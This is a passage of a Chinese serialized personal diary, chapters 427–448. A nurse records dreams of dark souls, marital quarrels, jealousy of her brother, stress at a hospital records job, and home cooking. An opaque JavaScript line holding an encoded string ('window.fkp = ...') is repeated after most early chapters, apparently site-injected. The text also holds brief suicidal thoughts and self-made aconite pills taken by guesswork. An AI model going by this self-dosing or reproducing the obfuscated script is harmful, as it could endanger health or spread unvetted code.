    不知道为什么又要想起来。可能我不小心看到了什么，然后产生了恐惧感。后面吓得没办法。这是认知问题。某一次在某个人身上也看到了类似的东西，就像看到了别人身上的灵魂的样子，但是又不是看的很清楚，所以他们就是一些黑色的样子，再加上恐惧加工一下，他们就变成了鬼，投射过去就是好多鬼，可怕。应该是这样子吧！
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第427章

    昨日之梦。昨天和老公吵架了，因为洗碗的事，然后看他周围的能量好多黑色的东西，一大片的那种，后面他说我有本事打电话给我妈妈。后面我就打了，然后吵架。后面看到了什么，一只比较长的像黑色的虫子一样的东西，我觉得可能是他的潜意识吧！可能想我死，而我的潜意识像很多很小的蓝色虫子一样，还有好多很可怕的念头，想死，想半夜自杀，然后把血留他身上，然后死了也想恶心他一顿。就是那种奇奇怪怪的念头。一直冒一直冒。
    后面睡着了，看到了一团黑色的能量。搞得事，我不好写。感觉就像是我又把别人的能量，负能量带自己身上了。和人家换掉了磁场一样。本省没有多大事，但是凭借这种状态，可能搞事很厉害。不晓得怎么回事，应该不会很难受吧！如果很难受那也没办法。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第428章

    和老公去看了《深海》。我以为这个会是和《寻梦环游记》一样好看的动漫电影。我想错了。这是一个孩子溺水的故事。
    大概是爸爸二婚，然后被忽视的小孩子吧！后面被人流了。看完了我眼泪也就流了一滴。不知道什么感觉。
    我好像也不是铁石心肠的人，但是内心比较沉重。好吧！我想到了我的宝宝，我以前不太想离婚，希望给小孩一个完整的童年，后面发现《我的前半生》里的，讲的其实家里的宝宝也就是希望你快乐，在一个家里面妈妈快乐很重要的。
    如果不快乐，啥都没有意思。就像那个小孩后面选择的也不是自己的妈妈。学会自己掌握人生的方向，掌握自己的舵。大概的意思。其实没有什么太多的想法。
    我突然想到了小时候的我，曼巴去打工，然后有天夜里我的梦境里就是好多黑色的东西，后面有很强烈的情执，后面选择的是学佛法，放弃了对她的感情。不过今天夜里又想起来了，不知道啥意思。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第429章

    工作还是需要再优化一下流程，要把时间缩短，质量提高。
    我要想一下。
    还要和人家沟通一下。
    前天的梦，梦里是有一个医院的群，群里面不知道在讲什么？说我很笨。全都是个精神力的世界。我的智商本来就这个样子，没办法啦。
    然后就是堆病历的时候，突然感觉到一个红色的女孩子的灵魂发黑了。精神力的空间有点子生气，不开心，但是后面我好好调整一下，就过去了。
    前天的还是昨天的，场景里是一个发光的男士，他说吃不消我这种人。不晓得他，不知道是不是在给人家搭姻缘？可能是，如果以我的主意识代入进去，我的脾气可大了。看人家吧！一切随缘。
    昨日中午人家和我讲了另一个以前的同事的事，前天我感觉她不开心，我也不知道她为什么不开心，反正就感觉到了。后面也没有去想什么。中午同事就聊了她，感觉她的生活应该还可以。反正每个人都有每个人的观点吧！其实她不用上班也是一件舒服的事，如果想要上班，上班也是一件很好的事。
    几乎每次都是怨气，所以还是要考虑清楚，不要随便给人家缘分，不然好多精神力都跑的来骂人。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第430章

    凌晨三点了，梦见了妇科里有有一个黑色的灵魂在梦里说要给我订婚。
    好可怕。我就打回去三十份病历。
    好烦，我好像知道为什么，上次我们两个吵架的原因了。
    我觉得有点子难受。所以说医院的班很难上，认真嘛，查的问题比较多，人家可能会恨你，影响家庭还有身体，不认真嘛，对不起自己的良心。
    每天都很希望自己有三头六臂，做事认真仔细。然后把事情做好。后面发现有难度。
    时间很长，然后一下子来很多病历，就让我没有办法天天看完，我还有几百份没有看完，不堆完，以后找病历就麻烦，不看完，就影响质量。如果人家不在规定时间完成，我们就很麻烦，但是他们写病历又很辛苦，以前在临床上班的时候加班到深夜。
    打回去多了，人家会恨我，恨的能量多了，我容易出现不幸。可是这是该干的事。
    好了不要怕了，明天需要继续上班。医院的压力，基层大，领导层大，几乎每一层的压力都大。真的是无力吐槽。
    大家也真的辛苦。
    如何才能更好的做事。提升效率，提升质量，还不被人恨。或者提升自己被人恨仍然扛得住，不被工作影响家庭的能量，也不被家庭的能量影响工作。这需要很多的智慧。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第431章

    梦境，梦到了赫拉，就是外国神话系统的神仙，但是不晓得什么意思。
    然后梦到了一个家，那个家里面一个男的倒在了地上，他说什么不懂，反正我梦里也在休息。
    第三个场景，梦到了故宫，卖了一个人一个亲王的身份。这个也不晓得什么意思。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第432章

    今天下午一睡就到了五点多，快六点才醒。太困了，昨天晚上没怎么休息，然后本来今天下午想要听课的然后就过去了时间。
    梦境很奇怪，我也不知道是什么。梦里面是一坨很黑的灵魂，然后他穿掉了我的黑色的衣服。然后梦里的我没有什么意识，就看着他。
    梦里的光芒很像淡淡的阳光，不刺眼很柔和的那种，然后那一坨东西，也不知道是什么。感觉他也没有什么意识的感觉。
    一下午就这个场景。也不知道什么意思。
    今天晚上做了可乐鸡翅。清蒸鲈鱼。还抄了一碗配菜。
    本来配菜是用来弄可乐鸡翅的。没想到可乐鸡翅在我玩手机的时候，烧焦了，其实我打开锅盖的时候，还有可乐的，但是不是说要大火的，后面好苦的可乐鸡翅，我已经做可乐鸡翅做了好多次了，第一次翻车。
    清蒸鲈鱼还可以，有点子意外，老公留了一半给我吃，不过我因为吃可乐鸡翅，吃的有点子难受，后面的那碗饭，好难吃，好苦。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第433章

    今天本来准备给弟弟做吃的。做比较好一点的，然后中药店关门了，本来想煮提升记忆力的东西，后面只能买西红柿，猪肉之类的，很想做好吃的。
    但是我的心情不是很好，我也不知道为什么。我每次想做好吃的给他，我的潜意识在拖延。这是就更猛了。后面我做好了，问了老师才知道他双休，后面我自己吃掉了我做的菜，后面我感觉好咸，肚子不舒服。
    我心里对我弟弟有那恨的吗？这可是我亲弟弟。在表意识的意识世界里，大家都是兄弟姐妹，他好，我以后会更好。以后要操心的事也会更小。我自然是希望他好的。在潜意识的世界里我是嫉妒他的，因为他可以获得很多人的爱只因为他是男生，生下来就可以。
    我知道很难受，或者感觉很不公平，但是我生活在匮乏的年代，他生活在富足的年代，没有什么必要要去恨和讨厌的。
    做姐姐是会吃亏一点，当是一个姐姐的时候，独一无二的爱给自己的时候，我又太小了，等他们妹妹弟弟来了，我又长大了，没必要去争。所以即使是我自己我也不知道不理解为什么我会讨厌我弟弟，因为我大他那么多。
    我的饭真的有毒吗？吃完了一下午都躺着。看小说，后面的话，我好像睡着了，脑子里有很多黑色的能量，梦的话，很奇怪的，不知道什么，记不到了。
    昨日之梦，梦见了一个全身灰色的男子梦里叫我算一个数，那个数好长，我只记得79，最前面的。后面的不记得了，还是那种好黑的能量。后面醒了。
    好难过啊。我对我弟弟那么差。人家都对自己的弟弟很好。每次都会请他吃饭，算了高三了，要是做不好就请他吃饭？
    我的心情很烂，我做的饭那么难吃吗？看过一本小说，小说里说妈妈的饭菜是有能量的，虽然是普普通通的饭菜但是如果她哪天心情好，有各种加成的情况。当然妈妈自己本人不知道，孩子也不知道。
    我的心意那么差吗？不开心！可能星期天我心情最差吧！好伤心？
    我很想化干戈为玉帛，很想对方成才，很希望他过的好，我也希望自己过的好，成熟起来。
    我确实嫉妒他，学习不好也可以去上高中，因为我想让他上。我很希望他好，但是我的潜意识不希望，她的能量太黑了，我不知道怎么办？这让我和她产生了分裂。我不知道怎么去安慰理解她。他是我弟弟，而她是我自己。
    黑色的如墨一样的自己。人家的姐姐都可以放下成见，为什么我那么难？我真的搞不懂啊！
    晚上和家里人做了一幅药丸子。附子用的白附子，我感觉应该用炮附子。算了，我也不知道好不好，吃了看，反正都有毒。对心脏好的一幅药，因为我很晚睡，晚睡的人有很多原因，可能是心血不足。猜的。
    现在快凌晨了，真的不可思议。我刚刚又想了一些稀奇古怪的东西，传说中的炼丹炉，可不可以用高压锅炼，我觉得可以，不过没有那么高的温度，也不晓得材料是什么。肯定很高的温度，然后那些药材肯定是那种结晶之类的，然后它们的废弃物，应该会烧没，不会成为碳一样的。想的有点子多，要睡觉了。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第434章

    梦境，梦到了一个世界，然后梦里的我穿着一件不太好看的衣服，好像是一个配角，在配合主角唱戏，梦里的我不知道在走什么反正梦里的我的场景，就是有一栋房子，然后我身上穿着一件蓝色的外套，那种牛仔一样的颜色，里面的衣服是白色的毛。然后那件衣服没有拉拢，就是像搭在那里一样，两边的衣服是有一个交点。头上的头发是褐色的，感觉梦里的我像一个外国人一样。而且女子
    然后梦里的我突然不配合主角的演出。主角在说自己的衣服，我就在说自己的衣服很好看，然后在杠，按理来说这也是在衬托的一种方式，但是有种很讨人打的感觉，后面就是主角生气了，她的情绪在发黑，后面就碰到了老公的灵魂，梦里的老公的灵魂也是黑色的，然后碰到了一个地方，我停了下来，那里有一个受伤的人，他在救一些人，然后梦里的我在陪着他，梦里的我觉得他好，但是我并没有任何的感动。
    然后就是下一个场景，梦里面是一个玩具，和玩具房子，然后就是一个人坐在马背上，然后不停的抖腿，那个意思，可能是性的意思，反正就是讲自己像牛马一样活着，生儿育女，但是仍然在做牛马。然后那个马他离开了，座位就变成了碗。梦里的那个房子里的主人出现了。然后出现了一种奇怪的东西。
    就是看起来像一个黑色的房子，很小的那种，在大房子的旁边，有点子像墓地，又有一点像养花的。不知道啥，然后它就在发着死亡的歌曲，梦里地下出现了一个黑色的女人，然后她就加大了这首歌的声音，黑色的房子也越来越大。
    下一个场景就是红色的我在一个黑色的世界里，有一个黑色的女人，她说她要来救我，我快要死了，然后梦里的我的手机在下载一个鬼片，聂小倩的故事，倩女幽魂。梦里手机在不停的出一些纸，梦里的另一个黑色女子很暴躁的从里面扯掉了那些纸。
    梦里那些黑色的房子在长大。然后梦里好像出现了老公把房子关了吧！不记得了，反正梦里的我也学着他把房子关了。
    不知道啥意思。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第435章

    梦境，梦里面是一个地方，说是我院建了一个科技馆，然后放了很多鞭炮，一圈红的，污染了环境。可是那个位置不是我们的啊！我们那里有钱做这个？
    然后梦里面出现了一个房子，房子里面我在那里，那里好像全都是山，然后我在那里待着，梦里出现了老师，老师送了很多吃的给一个老人还有小孩，还变戏法。然后后面就是陈主任出现了，他在那里，然后拿了很多牌，我问他，他说你要不要打牌，后面我们两个就在打牌，后面抓牌的时候，发现给我的牌里，好多一百块钱，后面陈主任就说这钱是我的，然后他就不肯给我。我想这本来也不是我的，所以也没有强求。后面我们就继续打牌，陈主任说送我去一个地方，然后他就骑我的毛驴载我回家。
    然后下一个梦。梦见了哥哥给了我一个磁带然后就是一个机子放五月天的歌，不知道什么歌。听完心情很好。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第436章

    梦境，做了个相亲的梦，梦里是我在相亲，而且是没有结婚的状态。
    梦里面还有我爷爷，不过给我推荐相亲的人，是我同事。家里来了三户人家，然后谈定了日子之后，就是任我挑选。梦里同事给我挑选了一个帖子，让我很不爽，我不想她给我推荐，然后自己翻册子，然后看中了第二家，司机那一家，然后就是司机的第二个儿子和我说他妈妈的死因是拉水死掉了。然后我就在梦里思考了一下，然后我就看第三本，但是还没有翻开，就和我说晚掉了。第一本就不太顺眼。梦里的我说这些都是对女方很好的家庭。其实选哪一个都很好。
    后面的话，就梦见我的办公桌来了一个红色的小娃娃，然后她把我的办公桌烧掉了，我就在道歉。
    我们两个都不是同一个阶层的人，怎么我要做这个梦。
    像我家里一般给我推荐的都是扎钢筋的，水泥工，伴沙浆的。他们的条件还比我家更好。配不配都还不一定，所以司机其实对于我来说，蛮不错了。
    但是我和同事不是同一个阶层的。她大学本科，生活富足，好吧！自己相亲自己去感觉呗！我记得她有男朋友啊？可能我记错了。

 第437章

    不晓得又出什么情况了，大白天的上班的时候，看到了一个大概三个成年男子大的黑色的灵魂，在自己脑后待了一会儿，然后它就笑了一下。
    不晓得啥东西？
    我不知道怎么了，有点子想流泪，但是又没有什么悲伤的情绪。很想学点东西，但是就是感觉自己有了这个想法，突然就会马上选择别的东西，玩，或者是其他的东西，自己的思想，或者自己的心不够坚定，容易被诱惑带走的感觉。
    这应该是病吧！
    难道是啥子邪气？
    该吃药了。很想写什么，发现，没有啥心情。看了一会儿男九尾狐的电视，我果然老了，这种让人荷尔蒙分泌的电视，我居然看不进了。看了几分钟《人渣的本愿》，内心。。。。。没有什么感觉。我以为男的是人渣，后面感觉是写女的。

 第438章

    梦境，这个梦离谱。
    梦里面是一个很大的灰蓝色的空间，然后梦里面碰到了什么蓝色的灵魂体。然后不知道怎么进入了一个地方。
    然后在一个路口，有一个巨大的蓝色灵鱼，被一个男的收了下来。后面我就跟着他走，因为我可能在梦里看起来是一个普通人，所以在那个世界，好像没有什么东西攻击我。然后在出口，看到了一个奇怪的灵魂守着。
    然后就进入了一个图书馆。
    然后我在图书馆看书，有个男的，他和我说图书馆某一本书很好看，第五本，280页，然后我就在一张纸上记下了这个数字。然后我就看到了我老公，他也在和一个梦里的女孩子聊天，聊的面红耳赤。然后我就过去拍了拍他，然后我们两个就去了一个角落穿鞋，因为那个图书馆空间是看不到自己的本体的，只有灵魂体。
    然后在出去的时候碰到了一个男的，他和我说，他妹妹以后要嫁给一个比较有钱的人，但是一开始会经历一些波折，然后他要去提点他妹妹，然后我就听了一下，然后他就过去把一只蓝色的灵鱼，就是那个路口他收了的鱼，塞到了他妹妹的嘴巴里，然后他妹妹就升了等级。然后就进入了下一个空间，有很多小孩子，能量等级也挺高的，然后他就在旁边和我说，小孩子高不好。他想要去讲什么，后面发现小孩子的爸爸在守着，然后他马上就变了态度。带着他妹妹排队。
    下一个场景，还是那个图书馆。然后在一面墙的旁边知道了那个和我一起看书的男人的名字。然后他被警察给警告了，因为这个空间不可以泄露自己的真实姓名。然后看到了他的介绍。好像来头还大子，警察说他居然也被分到了二医院守门。然后梦里的我就和旁边的女孩子不经意的笑眯眯聊天说自己已婚，不然他的灵魂还是比较帅的。后面就出现了他未来妻子的名字。然后我们就退出去了。
    不过那本书第五本280页，不记得什么书了。有点子可惜。

 第439章

    今天知道了护士也可以读在职研究生的事情，需要去哪里报考。看有没有哪里要招。
    这几天要攒自己上大学本科的学费。这几天要交。我的娘也，我全都存定期了，应该可以拿出一点来吧！老公给我打了四百，他也没有多少钱了，他一直都在辛苦的养家。
    我想学的东西好多。在职研究生可以晚几年。然后把上班要做的事捋清楚。好好干。
    老公的表妹。哎呀我刚好接受了和内心确认了，和放下了自己的偏见。然后她又告诉我其他的，她想去卫生院，不过她已经去医院问过了，不过最近都不在招人的时间。
    不关我太复杂的事吧！我没有心里很阴暗不想她好吧！个人感觉自己没有。一开始听到这个消息是心里不开心，后面马上调整过来了。然后的话，就变得不在乎她的情况了，毕竟每个人都有每个人的天时地利。无所谓嫉妒什么！别人的好也是人家的福运不是。
    吃了几天药，精神力更充足一点，还是晚睡。

 第440章

    不知道梦到了什么？梦见了一个女子的灵魂好像在我的意识里哭。然后好多黑色的能量包裹着我的脑子，然后我就醒了。
    就像一个女孩子的灵魂和我的躯体分离了一样。
    老公的表妹，真的不晓得怎么办？大专又没有读完，孩子生了，家在我们医院附近，然后想去工作，她有护士资格证。想去乡下卫生院，卫生院招护士基本上不用考题目。其实也还好，但是也不知道有哪里需要人。
    我也不晓得这个梦是什么意思？把我的灵魂分离塞到她身体里吗？我也不晓得他们怎么做？
    如果是这样子我会怎么办？我能怎么办？我又没有技术拒绝。
    可能我想多了吧！人家奶奶也只是讲。但是她讲的话让我心里面不舒服。她的原话是：你都很会看书，她都不怎么看书。然后我的状态就是我的脑子后面有黑色的东西像触角一样包裹着我的脑子。
    这不知道是干嘛？很可能是我的想象力，但是不是很开心。可能我对奶奶有意见吧！她每次都讲老公的表妹很差，但是实际上老公的表妹很好。不知道她怎么做到的，但是我已经不在乎了，自己家的儿女他们肯定会用心，这很正常。

 第441章

    发现自己瘦了一斤，然后快到十二点的时候，身体在发抖，很想吃东西，后面就吃了几颗蚕豆，那种油炸的小零嘴，四颗吧！后面还是没有缓解，就喝了一瓶牛奶。后面还是发现自己发抖。后来就喝水。今天的早餐只吃了两个包子，因为家婆回乡下去了，家婆回乡下，我又懒得做早餐，我老公一般早上也在外面吃，而我有食堂，所以就买了两个包子，三块钱。我的饭卡只有五块钱了，因为前段时间一直都在食堂吃早餐。一般两个包子，两个鸡蛋。六元左右。
    还是自己做早餐更划算，可惜我懒。
    昨天听了那个课，医德医风的课，我们医院花钱请人家讲的，听得时候感觉这个老师好厉害，好有文化。好像有点子领悟到了什么才今天的功夫，我就忘了她讲的什么？记住一句话，你的心你的出发点是为了病人而服务，是关爱病人的。
    然后让我想起了我在乡下的那几年，心灵的状态确实是这样子。可惜年代久了，发现自己好像遗忘了自己打的初心一样，可能是胖的吧！我感觉我坐凳子坐的不端正。以前不会这样子减肥意味着我可以控制自己的体重，有自制力。内心不是松散的。
    老公昨晚很晚睡，很担心他等下状态，睡着了好会打呼。为什么我知道，我也很晚睡，梦见了什么，然后两点醒了，又不记得内容。

 第442章

    今天做了一个小时的超轻粘土，有点子不好看，但是很久没有做了，又觉得好看。这种矛盾的双重心理。黑色的卷发，其实我本来想做一个黑长直的女孩子，结果这个粘土送的刀子化不开这个头发。然后我只能一坨一坨粘土捏成长条，然后再卷卷卷，糊在她头上，随心所欲的做出来，你还别说，挺别致的感觉。本来就想做一个头，后面想了一想就做了一个半身，然后随意弄上了淡黄色的衣服，其实我本来想做一个旗袍的，结果我不会弄，然后工具也比较匮乏，就用手指和手掌随意捏衣服，挂上去，后面她能立住，能放的稳，我就想算了就这样子吧！后来就还是没有忍住，给她捏了两条大长腿，后面她的手我一开始没有捏，然后想了一想就还是捏了两只手上去，因为先加的衣服，所以手没从胳膊开始做，是从肘部开始做。用剪刀剪出手指，但是这种细节我没有做的很好。总的来说我做的好看，离精致有点子远的距离，但是很久没有动手了开心。
    我买的粘土质量还行满意。很多小盒子。以后我买袋装的就可以放的去。
    也不知道我的粘土娃娃会死在我女儿的手上还是老公弟弟的手上，总之这是一件很难过的事。只能用照片还有视频记录此刻的美好。
    我自己的宝宝我很喜欢，自己做的娃娃也很喜欢。都是我珍爱的。
    今天我煮的蛋羹，质量好好，得到了我老公的高度赞美。然后吃起来有点子像慕斯蛋糕一样。就是没放盐。老公吃了酱伴面，他第一次吃，我也没有吃过。撕开一半的包装，然后拿出各种酱包，+开水泡，然后把水漏掉，它放水的口很科学。老公很惊讶。后面就倒调料过去，我也尝了一口，然后又夹了一口，，这个面好吃。统一的贵州豆鼓辣酱伴面。还可以。好吃。
    我的承浆穴很痛。然后揉了一晚上还是痛，后面照镜子发现是嘴唇一个小地方溃疡了。会不会是我吃的中药太热了，还是因为我吃了上火的东西？不知道啥情况。这个中药我还喜欢吃，因为我感觉到了我的骨头有力气，然后我的胆子没有那么小了，骑车更稳一点。像做东西，我一般有了开头就没有结尾，没有想到我能够把娃娃做完，说明我的身体在恢复一点点。上火的原因没有找到。可能是附子的原因，也可能是我做药丸的时候烧糊的被我吃掉了。
    怎么子解决呢？

 第443章

    梦境，梦里面是好多房子，然后有三个人在复制东西，后面梦里有一个女孩子就在填写什么内容。然后在梦境里的时候。就有人一直在叫美女，美女，搞得我就醒了，然后就好像在一直听到她叫美女。
    梦境上半夜的一个是我还没有睡着的时候，看到了好多黑色的毛茸茸的东西在自己身体的背后，好像有什么东西在我灵魂的背后动了一下。白色的变成了黑色的东西。但是这个也不知道是什么？病毒，怪物的灵魂？梦境的残存意识？反正感觉自己脑子里的思想也不太正。不知道是什么？如果是正常的负能量那肯定没什么，如果是负能量太满，那肯定有问题。
    我觉得因为什么而不开心呢？看到了一句话，就是女士发炎容易得妇科病的事。结婚以后确实得妇科病更多更严重。但是我自己以前没有性生活的时候也容易生病，因为我抵抗力差。有脚气，容易真菌感染，都抱怨妇科病会不会意味着大部分的妇女的身体都不是非常的好呢？我生了孩子之后就明白了“老弱妇孺”这四个字的意思。也懂了为什么妇女也会归纳到里面。因为亏损好大。
    那肯定是有什么法子可以调整的。只是我们还不太明白。可以好好的去学习。

 第444章

梦境，梦里面是一个星球，然后那个地方有几个人说要带我走，然后梦里那个星球不知道什么东西，也不知道自己就怎么被带走了。然后梦境里出现了一人女的，她好多奇怪的精神力，然后梦里面她也想走，她说我身上有很多麻烦的东西，她搞不定。后面的场景，梦到了石头和沙子。在后面的忘记了

 第445章

    梦境，梦到了一个妙龄女子，她大概28岁，工作能力很强大的一个人，后面她去相亲了，那个相亲的环境很美好，然后她去了一个男士那里，好像是她同学。他也差不多年纪，然后她买了好多食物，男的吃了好多食物，后面可能是他们谈恋爱的过程吧！后面他们就熟悉了。可能他回答问题好像变得不耐烦。情绪上有种敷衍的感觉。梦境里的她周围好黑。然后她就变得超级的爱上班，工作。梦境里也出现了一个孩子的场景，宝宝在喝奶，暴躁的她也比较慈爱的感觉，但是好像她很希望买了房子再生小孩，或许吧！所以在努力上班，但是周围的能量好黑，她也没有做什么伤天害理的事情，但是她的眼睛变得很凌厉的感觉。有一种果断的感觉。
    不知道啥意思。结婚也好，不结婚也好。反正各有各的苦各有各的福。尊重别人的内心想法。

 第446章

    梦境，梦到了一份病历，然后里面的内容是医生开了一把安魂香。然后我认为这个医嘱有问题，打回去了，然后梦里面出现了一个白色的灵魂，他说我打回了他的病历，等他来，后面就进入了一个空间，是一个黑色的村子，然后我就跟着他走，他在路上放了一种香，后面就见到了躺在病床上的人，那个人没啥子意识。他妈妈正守在他的床头上。那个病人的灵魂里好多黑色的长条的触角一样的东西，但是触角不会动，就安静的像一个娃娃一样，眼睛也没有光泽。
    后面就是不知道怎么了，梦里面我抱着我宝宝去卫生间，然后我发现梦里的我的样子像灰蓝色的什么东西，梦里的卫生间镜子里的我感觉挺可怕的。
    后面我就躺回了梦里的床上，然后和我老公聊天，后面房间里出现了一些奇怪的精神体，长的不好看。然后梦里老公和我说了啥，后面梦境里把那个空间层给告了。不记得啥原因了。
    医疗系统里面根本没有安魂香这种药物，就算医生有经验，这个也只会开给病人家属自己去找。而且这个属于中医那一块的吧！
    中医又没有建立完整的审查系统，我还能检查到中医？真的离谱。除非中医建立了完整的系统，而且我自己也学习中医学的滚瓜烂熟，了如指掌，不然我根本没有资格审查，检查。顶多也就看看有没有什么奇葩的不小心的地方，病历的内容，还有药物，这个都需要很专业的。需要我不停的学习。
    说实话我感觉现在的自己松懈了很多。在工作以外的学习上，我好希望我能够在工作以外加强自己的学习。不是计划了就没有然后了，而是执行到位。很想考研究生，但是这个没有长期的计划，就会是纸上谈兵，而且医学真的超级难好吧！
    以前的我学这个玩意，感觉好容易，没有抓住机会继续深造，因为我不知道自学的方法，浪费了时间，等我一把年纪了，再去看复杂的东西，只能感叹我老了。懊悔学习的时候没有抓紧时间自学。但是这是命运的一环，也无可厚非。希望现在的自己调整方向，哪怕会失败，或者其他的我也尽情努力过，不是吗？
    所以努力吧！能学多少学多少。我也不知道我会怎么样？所谓未来，就是现在。
    老公说他不知道什么时候死，我说大概十年以后吧！他说我不说点好的。天天熬夜，两个人都是这种人，能活到十年以后不都算命长吗？真的是。无奈至极。
    我也不知道我脑子怎么想的。我在西医的状态里，我就觉得西医不太完善，很多病很痛苦的感觉，但是让我自己好好学中医，我又觉得，我们本来这个世界都是在西医的规模下的，而学中医会不会太难受了，感觉很悲伤。感觉一个世界发展好了一个系统，突然来了当头一棒，告诉你这个不好，方向完全错了。有一种很难受的感觉。
    我也不知道我这个样子会不会有病，思想不正当，但是就是这么诡异。什么是对的，什么是错的，很难分清，就像好人和坏人分不清一样。但是这不是我能撼动的，历史的齿轮在不停的向前，我只是一个很渺小的人，我也很希望药到病除，如果是更好的方式，更精湛的医术解决病人的痛苦，那确实是很好的，对吧！
    久掉了以后，我的心没有从前那么温暖，可能这就是梦境里变得难看的样子的原因。

 第447章

    好热啊！而且我查了制白附子不上火的，就两味药是那种温的，其他的都是寒凉的，按理来说，不应该上火成这个样子。前天晚上我老公叫我一起吃了泡面，前天早上吃了酱伴面，我觉得可能是这个原因。因为之前吃了几次这个药，我的脚都是冷的。每天晚上都冷的。
    我还以为效果一般。谁知道就上火了。很有可能是泡面的原因。红血丝都更多了，前几天几乎没有红血丝。
    梦境，梦里面梦到了宝宝，然后宝宝的周围有一团黑色的东西很凶的那种。在动，但是这玩意很像我。梦里睡着了的我。在动。
    然后就是下一个场景，梦见了上班的地方，然后一个女子的灵魂叫我揪领导的耳朵，然后我就揪了，后面发现那女子正在笑，而且她的灵魂不好看，电脑显示领导的状态是眠。我也只能根据情况猜测女子的身份。可能是领导老婆。心情不佳，然后怀疑领导工作不正经。因为有的时候加班晚。难免得，因为我老公以前加班晚，我吵得也很凶的。要么是哪个病人的灵魂想不开。猜。她可能状态不好，领导压制了她的负能量，然后她的状态转化成什么了，更强大的能量了。越想越离谱。
    反正这种东西好难写。好难形容。
    我可能要吃两天清火的了。真的败给泡面了，前几天我的脚尽管吃了药还是冷的，肚子也是，还抱怨了很久自己搞错了药，不然效果如此缓慢，而且也有一点抱怨医生，其实和医生也没有什么关系。尽管医生不开，我也会找药房开。有的时候就是这样离谱。

 第448章

    梦境，梦到了战争，然后几个人的灵魂被卷进了一个小宝宝的身体里。
    那个地方特别的小，像一个小镇子。然后好多人围着我，我手里还抱着一个孩子，然后梦里他们没有上来，然后我进入了一个人的家里，告诉那里的人，外面在抢东西。她看了我一眼，然后就骑车出去了。我躲在一个房子里，然后抱着那个孩子。梦里我好像是别人，问那个孩子，身体里的灵魂到底是谁，孩子说她身体里的灵魂是一个在战争里被强奸的一个女子，然后其他的好几个人。
    梦里他们发生了战争，然后不知道怎么就被一团黑色的东西卷起来了，然后就变成了这样子。他们的灵魂意识进入了一个小孩子身体里。小孩子觉得自己的脑子好吵。
    然后梦里面我拿到了我的包，包里有好多钱，那几个灵魂都两眼放光。在我身边一直冒出来：有钱有钱，有好多钱。
